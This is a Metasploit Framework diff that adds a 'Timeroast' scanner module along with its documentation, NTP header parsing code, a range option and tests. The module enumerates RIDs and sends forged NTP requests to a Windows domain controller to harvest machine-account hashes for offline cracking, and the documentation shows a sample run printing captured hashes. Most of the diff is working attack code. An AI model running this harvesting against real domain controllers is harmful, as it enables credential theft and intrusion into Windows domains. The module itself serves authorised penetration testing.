diff --git a/documentation/modules/auxiliary/scanner/ntp/timeroast.md b/documentation/modules/auxiliary/scanner/ntp/timeroast.md new file mode 100644 index 000000000000..e36067740cf8 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/ntp/timeroast.md @@ -0,0 +1,47 @@ +## Vulnerable Application +Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first +48 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes +that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but +because RIDs are sequential, they can easily be enumerated. + +## Verification Steps + +1. Setup a Windows domain controller target +1. Start msfconsole +1. Use the `auxiliary/admin/dcerpc/samr_account` module to create a new computer account with the `ADD_COMPUTER` action + 1. Note the RID (the last part of the SID) and password of the new account +1. Use the `auxiliary/scanner/ntp/timeroast` module +1. Set the `RHOSTS` option to the target domain controller +1. Set the `RIDS` option to the RID of the new account +1. Run the module and see that a hash is collected, this has will show up in the output of the `creds` command if a + database is connected + +## Options + +### RIDS +The RIDs to enumerate (e.g. 1000-2000). Multiple values and ranges can be specified using a comma as a separator. + +## Scenarios + +### Windows 2019 x64 Domain Controller + +``` +msf6 auxiliary(scanner/ntp/timeroast) > set RIDS 4200-4205 +RIDS => 4200-4205 +msf6 auxiliary(scanner/ntp/timeroast) > set RHOSTS 192.168.159.10 +RHOSTS => 192.168.159.10 +msf6 auxiliary(scanner/ntp/timeroast) > run +[*] Checking RID: 4200 +[*] Checking RID: 4201 +[+] Hash for RID: 4201 - 4201:$sntp-ms$74e3c4ac73afe868119ff98613888d48$1c0100e900000000000a2c704c4f434ceb0aaf8ac9813bd40000000000000000eb0aea216d99a558eb0aea216d99e010 +[*] Checking RID: 4202 +[+] Hash for RID: 4202 - 4202:$sntp-ms$e106388a43f6bbd5365e3a6f2dee741d$1c0100e900000000000a2c704c4f434ceb0aaf8ac78c5c9a0000000000000000eb0aea21bb83de46eb0aea21bb8442f0 +[*] Checking RID: 4203 +[*] Checking RID: 4204 +[+] Hash for RID: 4204 - 4204:$sntp-ms$d0b1961cc3d57a1eaa40bfeeb9f30eb9$1c0100e900000000000a2c704c4f434ceb0aaf8ac653c2f50000000000000000eb0aea222a6c25c3eb0aea222a6c6a8c +[*] Checking RID: 4205 +[*] Waiting on 3 pending responses... +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf6 auxiliary(scanner/ntp/timeroast) > +``` diff --git a/lib/metasploit/framework/hashes.rb b/lib/metasploit/framework/hashes.rb index a489e5a42566..ede20d1f5624 100644 --- a/lib/metasploit/framework/hashes.rb +++ b/lib/metasploit/framework/hashes.rb @@ -126,6 +126,8 @@ def self.identify_hash(hash) return 'vnc' when hash =~ /^\$pbkdf2-sha256\$[0-9]+\$[a-z0-9\/.]+\$[a-z0-9\/.]{43}$/i return 'pbkdf2-sha256' + when hash =~ /^\$sntp-ms\$[\da-fA-F]{32}\$[\da-fA-F]{96}$/ + return 'timeroast' end '' end diff --git a/lib/msf/core/opt_int_range.rb b/lib/msf/core/opt_int_range.rb new file mode 100644 index 000000000000..b67186749618 --- /dev/null +++ b/lib/msf/core/opt_int_range.rb @@ -0,0 +1,70 @@ +# -*- coding: binary -*- + +module Msf + ### + # + # Integer range option. A maximum value can be specified. Negative numbers are + # not supported due to - being used for ranges. Numbers can be excluded by + # using the ! prefix. + # + ### + class OptIntRange < OptBase + attr_reader :maximum + + def initialize(in_name, attrs = [], + required: true, **kwargs) + super + @maximum = kwargs.fetch(:maximum, nil) + end + + def type + 'integer range' + end + + def normalize(value) + value.to_s.gsub(/\s/, '') + end + + def valid?(value, check_empty: true) + return false if check_empty && empty_required_value?(value) + + if value.present? + value = value.to_s.gsub(/\s/, '') + return false unless value =~ /\A(!?\d+|!?\d+-\d+)(,(!?\d+|!?\d+-\d+))*\Z/ + end + + super + end + + def self.parse(value) + include = [] + exclude = [] + + value.split(',').each do |range_str| + destination = range_str.start_with?('!') ? exclude : include + + range_str.delete_prefix!('!') + if range_str.include?('-') + start_range, end_range = range_str.split('-').map(&:to_i) + range = (start_range..end_range) + else + single_value = range_str.to_i + range = (single_value..single_value) + end + + destination << range + end + + Enumerator.new do |yielder| + include.each do |include_range| + include_range.each do |num| + break if @maximum && num > @maximum + next if exclude.any? { |exclude_range| exclude_range.cover?(num) } + + yielder << num + end + end + end + end + end +end diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb index 6ba0a70f2fb0..67c60a9b05d8 100644 --- a/lib/msf/core/option_container.rb +++ b/lib/msf/core/option_container.rb @@ -9,9 +9,11 @@ module Msf autoload :OptAddress, 'msf/core/opt_address' autoload :OptAddressLocal, 'msf/core/opt_address_local' autoload :OptAddressRange, 'msf/core/opt_address_range' + autoload :OptAddressRoot, 'msf/core/opt_address_routable' autoload :OptBool, 'msf/core/opt_bool' autoload :OptEnum, 'msf/core/opt_enum' autoload :OptInt, 'msf/core/opt_int' + autoload :OptIntRange, 'msf/core/opt_int_range' autoload :OptFloat, 'msf/core/opt_float' autoload :OptPath, 'msf/core/opt_path' autoload :OptPort, 'msf/core/opt_port' diff --git a/lib/rex/proto/ntp/constants.rb b/lib/rex/proto/ntp/constants.rb index 49762a34c70d..eb67b632d1f1 100644 --- a/lib/rex/proto/ntp/constants.rb +++ b/lib/rex/proto/ntp/constants.rb @@ -2,11 +2,25 @@ module Rex module Proto module NTP::Constants -VERSIONS = (0..7).to_a -MODES = (0..7).to_a -MODE_6_OPERATIONS = (0..31).to_a -MODE_7_IMPLEMENTATIONS = (0..255).to_a -MODE_7_REQUEST_CODES = (0..255).to_a + VERSIONS = (0..7).to_a + MODES = (0..7).to_a + MODE_6_OPERATIONS = (0..31).to_a + MODE_7_IMPLEMENTATIONS = (0..255).to_a + MODE_7_REQUEST_CODES = (0..255).to_a + + module Mode + # see: https://datatracker.ietf.org/doc/html/rfc5905#section-3 + SYMMETRIC_ACTIVE = 1 + SYMMETRIC_PASSIVE = 2 + CLIENT = 3 + SERVER = 4 + BROADCAST_SERVER = 5 + BROADCAST_CLIENT = 6 + + def self.name(value) + constants.select { |c| c.upcase == c }.find { |c| const_get(c) == value } + end + end end end end diff --git a/lib/rex/proto/ntp/header.rb b/lib/rex/proto/ntp/header.rb new file mode 100644 index 000000000000..7c20be9c44d2 --- /dev/null +++ b/lib/rex/proto/ntp/header.rb @@ -0,0 +1,117 @@ +# -*- coding: binary -*- + +require 'bindata' +require 'bigdecimal' +require 'bigdecimal/util' + +module Rex +module Proto +module NTP::Header + + class NTPShort < BinData::Primitive + # see: https://datatracker.ietf.org/doc/html/rfc5905#section-6 + endian :big + + uint16 :seconds + uint16 :fraction + + def set(value) + value = value.to_d + seconds = value.floor + self.seconds = seconds + self.fraction = ((value - seconds) * BigDecimal(2**16)).round + end + + def get + BigDecimal(seconds.value) + (BigDecimal(fraction.value) / BigDecimal(2**16)) + end + end + + class NTPTimestamp < BinData::Primitive + UNIX_EPOCH = Time.utc(1900, 1, 1) + # see: https://datatracker.ietf.org/doc/html/rfc5905#section-6 + endian :big + + uint32 :seconds + uint32 :fraction + + def get + return nil if seconds == 0 && fraction == 0 + + time_in_seconds = seconds + BigDecimal(fraction.to_s) / BigDecimal((2**32).to_s) + (UNIX_EPOCH + time_in_seconds).utc + end + + def set(time) + if time.nil? + seconds = fraction = 0 + else + seconds_since_epoch = time.to_r - UNIX_EPOCH.to_r + seconds = seconds_since_epoch.to_i + fraction = ((seconds_since_epoch - seconds) * (2**32)).to_i + end + + self.seconds = seconds + self.fraction = fraction + end + end + + class NTPExtension < BinData::Record + endian :big + + uint16 :ext_type + uint16 :ext_length + uint8_array :ext_value, initial_length: :ext_length + end + + # A unified structure capable of representing NTP versions 1-4 + class NTPHeader < BinData::Record + # see: https://datatracker.ietf.org/doc/html/rfc958 (NTP v0 - unsupported) + # see: https://datatracker.ietf.org/doc/html/rfc1059 (NTP v1) + # see: https://datatracker.ietf.org/doc/html/rfc1119 (NTP v2) + # see: https://datatracker.ietf.org/doc/html/rfc1305 (NTP v3) + # see: https://datatracker.ietf.org/doc/html/rfc5905 (NTP v4) + endian :big + hide :bytes_remaining_0, :bytes_remaining_1 + + bit2 :leap_indicator + bit3 :version_number, initial_value: 4, assert: -> { version_number.between?(1, 4) } + bit3 :mode, onlyif: -> { version_number > 1 } + resume_byte_alignment + uint8 :stratum + int8 :poll + int8 :precision + ntp_short :root_delay + ntp_short :root_dispersion + string :reference_id, length: 4, trim_padding: true + ntp_timestamp :reference_timestamp + ntp_timestamp :origin_timestamp + ntp_timestamp :receive_timestamp + ntp_timestamp :transmit_timestamp + count_bytes_remaining :bytes_remaining_0 + buffer :extensions, length: -> { bytes_remaining_0 - 20 }, onlyif: :has_extensions? do + array :extensions, type: :ntp_extension, read_until: :eof + end + count_bytes_remaining :bytes_remaining_1 + uint32 :key_identifier, onlyif: :has_key_identifier? + uint8_array :message_digest, initial_length: OpenSSL::Digest::MD5.new.digest_length, onlyif: :has_message_digest? + + private + + def has_extensions? + # -20 for the length of the key identifier and message digest which are required when extensions are present + bytes_remaining_0 - 20 > 0 && version_number > 3 + end + + def has_key_identifier? + bytes_remaining_1 > 0 || !key_identifier.clear? + end + + def has_message_digest? + bytes_remaining_1 > 4 || !message_digest.clear? + end + end + +end +end +end diff --git a/modules/auxiliary/scanner/ntp/timeroast.rb b/modules/auxiliary/scanner/ntp/timeroast.rb new file mode 100644 index 000000000000..7e39a6cf873f --- /dev/null +++ b/modules/auxiliary/scanner/ntp/timeroast.rb @@ -0,0 +1,152 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::Udp + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'NTP Timeroast', + 'Description' => %q{ + Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first + 48 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes + that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but + because RIDs are sequential, they can easily be enumerated. + }, + 'Author' => [ + 'Tom Tervoort', + 'Spencer McIntyre' + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'https://github.com/SecuraBV/Timeroast/'], + ['URL', 'https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf'] + ], + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + register_options([ + Opt::RPORT(123), + OptIntRange.new('RIDS', [ true, 'The RIDs to enumerate (e.g. 1000-2000).' ]), + OptInt.new('DELAY', [ true, 'The delay in milliseconds between attempts.', 20]), + OptInt.new('TIMEOUT', [ true, 'The timeout in seconds to wait at the end for replies.', 5]) + ]) + end + + def validate + super + + errors = {} + errors['DELAY'] = 'DELAY can not be negative.' if datastore['DELAY'].to_i < 0 + errors['TIMEOUT'] = 'TIMEOUT can not be negative.' if datastore['TIMEOUT'].to_i < 0 + raise ::Msf::OptionValidateError, errors unless errors.empty? + end + + def build_ntp_probe(rid) + probe = Rex::Proto::NTP::Header::NTPHeader.new + probe.leap_indicator = 3 + probe.version_number = 3 + probe.mode = Rex::Proto::NTP::Mode::CLIENT + probe.key_identifier = [rid].pack('L>').unpack1('L<') # NTP uses big endian but MS uses little endian for this one field + probe.message_digest = Random.random_bytes(OpenSSL::Digest.new('MD5').digest_length).unpack('C*') + probe + end + + def recv_response(timeout: 0) + begin + raw, = udp_sock.recvfrom(68, timeout) # 68 is always the number of bytes expected + rescue ::Rex::SocketError, ::IOError + return nil + end + + return nil if raw.empty? + + Rex::Proto::NTP::Header::NTPHeader.read(raw) + end + + def run_host(_ip) + connect_udp + + delay = datastore['DELAY'].to_i + pending = 0 + + Msf::OptIntRange.parse(datastore['RIDS']).each do |rid| + vprint_status("Checking RID: #{rid}") + probe = build_ntp_probe(rid) + udp_sock.put(probe.to_binary_s) + pending += 1 + + sleep(delay / 1000.0) + + response = recv_response + next unless response + + process_response(response) + pending -= 1 + end + + return if pending == 0 + + print_status("Waiting on #{pending} pending responses...") + remaining = 10 + while remaining > 0 && pending > 0 + response, elapsed_time = Rex::Stopwatch.elapsed_time do + recv_response(timeout: remaining) + end + remaining -= elapsed_time + next unless response + + process_response(response) + pending -= 1 + end + ensure + disconnect_udp + end + + def process_response(response) + resp_rid = [response.key_identifier].pack('L<').unpack1('L>') + message_digest = response.message_digest.pack('C*') + salt = response.to_binary_s[0...response.offset_of(response.key_identifier)] + hash = "$sntp-ms$#{message_digest.unpack1('H*')}$#{salt.unpack1('H*')}" + + print_good("Hash for RID: #{resp_rid} - #{resp_rid}:#{hash}") + report_hash(hash) + end + + def report_hash(hash) + jtr_format = Metasploit::Framework::Hashes.identify_hash(hash) + service_data = { + address: rhost, + port: rport, + service_name: 'ntp', + protocol: 'udp', + workspace_id: myworkspace_id + } + credential_data = { + module_fullname: fullname, + origin_type: :service, + private_data: hash, + private_type: :nonreplayable_hash, + jtr_format: jtr_format + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end +end diff --git a/spec/lib/msf/core/opt_int_range_spec.rb b/spec/lib/msf/core/opt_int_range_spec.rb new file mode 100644 index 000000000000..e99d604f75e8 --- /dev/null +++ b/spec/lib/msf/core/opt_int_range_spec.rb @@ -0,0 +1,48 @@ +# -*- coding:binary -*- + +require 'spec_helper' + +RSpec.describe Msf::OptIntRange do + valid_values = [ + { :value => '1', :normalized => '1' }, + { :value => '1,2', :normalized => '1,2' }, + { :value => '1, 2, 3-5', :normalized => '1,2,3-5' }, + ] + invalid_values = [ + { :value => "bbq" }, + { :value => "0.1" }, + { :value => "0xG" }, + { :value => "FF" }, + ] + + it_behaves_like "an option", valid_values, invalid_values, 'integer range' + + describe '.parse' do + it 'parses a single number to a single number' do + expect(described_class.parse('1')).to be_a Enumerator + expect(described_class.parse('1').to_a).to eq [1] + end + + it 'parses a range of numbers to multiple numbers' do + expect(described_class.parse('1-3')).to be_a Enumerator + expect(described_class.parse('1-3').to_a).to eq [1, 2, 3] + end + + it 'parses a mixture to multiple numbers' do + expect(described_class.parse('1-3,5')).to be_a Enumerator + expect(described_class.parse('1-3,5').to_a).to eq [1, 2, 3, 5] + end + + it 'parses a range with a single number exclusion' do + expect(described_class.parse('1-3,!2')).to be_a Enumerator + expect(described_class.parse('1-3,!2').to_a).to eq [1, 3] + end + + it 'parses a range with a range number exclusion' do + expect(described_class.parse('1-5,!2-3')).to be_a Enumerator + expect(described_class.parse('1-5,!2-3').to_a).to eq [1, 4, 5] + end + end +end + + diff --git a/spec/lib/rex/proto/ntp/header_spec.rb b/spec/lib/rex/proto/ntp/header_spec.rb new file mode 100644 index 000000000000..63c72d1bb2d8 --- /dev/null +++ b/spec/lib/rex/proto/ntp/header_spec.rb @@ -0,0 +1,294 @@ +# -*- coding:binary -*- + +require 'spec_helper' + +RSpec.describe Rex::Proto::NTP::Header::NTPShort do + context 'in the default state' do + describe '#to_binary_s' do + it 'is four null bytes' do + expect(subject.to_binary_s).to eq "\x00\x00\x00\x00".b + end + end + + describe '#value' do + it 'is a BigDecimal instance' do + expect(subject.value).to be_a(BigDecimal) + end + + it 'is zero' do + expect(subject.value).to eq 0 + end + end + end + + context 'when set to a real value' do + let(:value) { 10.015182 } + let(:subject) { described_class.new(value) } + + describe '#to_binary_s' do + it 'is four null bytes' do + expect(subject.to_binary_s).to eq "\x00\x0a\x03\xe3".b + end + end + + describe '#value' do + it 'is a BigDecimal instance' do + expect(subject.value).to be_a(BigDecimal) + end + + it 'is the correct value' do + expect(subject.value.round(6)).to eq value + end + end + end +end + +RSpec.describe Rex::Proto::NTP::Header::NTPTimestamp do + context 'in the default state' do + describe '#to_binary_s' do + it 'is eight null bytes' do + expect(subject.to_binary_s).to eq "\x00\x00\x00\x00\x00\x00\x00\x00".b + end + end + + describe '#value' do + it 'is nil' do + expect(subject.value).to be_nil + end + end + end + + context 'when set to a real value' do + let(:timestamp) { Time.parse('2024-12-12 15:32:42.555253 +0000') } + context 'from parts' do + let(:subject) { described_class.new.tap { |ts| ts.seconds = 0xeb05809a; ts.fraction = 0x8e2517e7 } } + + describe '#to_binary_s' do + it 'is correct' do + expect(subject.to_binary_s).to eq "\xeb\x05\x80\x9a\x8e\x25\x17\xe7".b + end + end + + describe '#value' do + it 'is a Time instance' do + expect(subject.value).to be_a(Time) + end + + it 'is the correct value' do + expect(subject.value.round(6)).to eq timestamp + end + end + end + + context 'from a timestamp' do + let(:subject) { described_class.new(timestamp) } + + describe '#to_binary_s' do + it 'is correct' do + expect(subject.to_binary_s).to eq "\xeb\x05\x80\x9a\x8e\x25\x0f\x84".b + end + end + + describe '#value' do + it 'is a Time instance' do + expect(subject.value).to be_a(Time) + end + + it 'is the correct value' do + expect(subject.value.round(6)).to eq timestamp + end + end + end + end +end + +RSpec.describe Rex::Proto::NTP::Header::NTPHeader do + context 'in the default state' do + describe '#to_binary_s' do + it 'is correct' do + expect(subject.to_binary_s).to eq ("\x20".b + ("\x00".b * 47)) + end + end + + describe '#version_number' do + it 'is the latest supported version' do + expect(subject.version_number).to eq 4 + end + + it 'throws an exception when set to an invalid value' do + expect { subject.version_number = 0 }.to raise_error(BinData::ValidityError) + expect { subject.version_number = 5 }.to raise_error(BinData::ValidityError) + end + end + + describe '#root_delay' do + it 'is an NTPShort' do + expect(subject.root_delay).to be_a Rex::Proto::NTP::Header::NTPShort + end + + it 'is 0' do + expect(subject.root_delay).to eq 0 + end + end + + describe '#root_dispersion' do + it 'is an NTPShort' do + expect(subject.root_dispersion).to be_a Rex::Proto::NTP::Header::NTPShort + end + + it 'is 0' do + expect(subject.root_dispersion).to eq 0 + end + end + + describe '#reference_id' do + it 'is an empty string' do + expect(subject.reference_id).to eq '' + end + end + + describe '#reference_timestamp' do + it 'is an NTPTimestamp' do + expect(subject.reference_timestamp).to be_a Rex::Proto::NTP::Header::NTPTimestamp + end + + it 'is nil' do + expect(subject.reference_timestamp).to eq nil + end + end + + describe '#origin_timestamp' do + it 'is an NTPTimestamp' do + expect(subject.origin_timestamp).to be_a Rex::Proto::NTP::Header::NTPTimestamp + end + + it 'is nil' do + expect(subject.origin_timestamp).to eq nil + end + end + + describe '#receive_timestamp' do + it 'is an NTPTimestamp' do + expect(subject.receive_timestamp).to be_a Rex::Proto::NTP::Header::NTPTimestamp + end + + it 'is nil' do + expect(subject.receive_timestamp).to eq nil + end + end + + describe '#transmit_timestamp' do + it 'is an NTPTimestamp' do + expect(subject.transmit_timestamp).to be_a Rex::Proto::NTP::Header::NTPTimestamp + end + + it 'is nil' do + expect(subject.transmit_timestamp).to eq nil + end + end + + describe '#extensions' do + it 'is empty' do + expect(subject.extensions).to be_empty + end + end + + describe '#key_identifier' do + it 'is not set' do + expect(subject.key_identifier?).to be_falsey + end + + it 'is zero' do + expect(subject.key_identifier).to eq 0 + end + end + + describe '#message_digest' do + it 'is not set' do + expect(subject.message_digest?).to be_falsey + end + + it 'is empty' do + expect(subject.message_digest).to be_empty + end + end + end + + describe '#read' do + let(:subject) { described_class.new.read(packed) } + context 'when there is no MIC' do + let(:packed) { "\x20" + ("\x00".b * 47) } + + describe '#key_identifier' do + it 'is not set' do + expect(subject.key_identifier?).to be_falsey + end + + it 'is zero' do + expect(subject.key_identifier).to eq 0 + end + end + + describe '#message_digest' do + it 'is not set' do + expect(subject.message_digest?).to be_falsey + end + + it 'is empty' do + expect(subject.message_digest).to be_empty + end + end + end + + context 'when there is a key identifier but no message_digest (Crypto-NAK)' do + let(:key_identifier) { 0xdead1337 } + let(:packed) { "\x20" + ("\x00".b * 47) + [key_identifier].pack('N') } + + describe '#key_identifier' do + it 'is set' do + expect(subject.key_identifier?).to be_truthy + end + + it 'is correct' do + expect(subject.key_identifier).to eq key_identifier + end + end + + describe '#message_digest' do + it 'is not set' do + expect(subject.message_digest?).to be_falsey + end + + it 'is empty' do + expect(subject.message_digest).to be_empty + end + end + end + + context 'when there is a key identifier and a message digest' do + let(:key_identifier) { 0xdead1337 } + let(:message_digest) { (0..15).to_a } + let(:packed) { "\x20" + ("\x00".b * 47) + [key_identifier].pack('N') + message_digest.pack('C*') } + + describe '#key_identifier' do + it 'is set' do + expect(subject.key_identifier?).to be_truthy + end + + it 'is correct' do + expect(subject.key_identifier).to eq key_identifier + end + end + + describe '#message_digest' do + it 'is set' do + expect(subject.message_digest?).to be_truthy + end + + it 'is empty' do + expect(subject.message_digest).to eq message_digest + end + end + end + end +end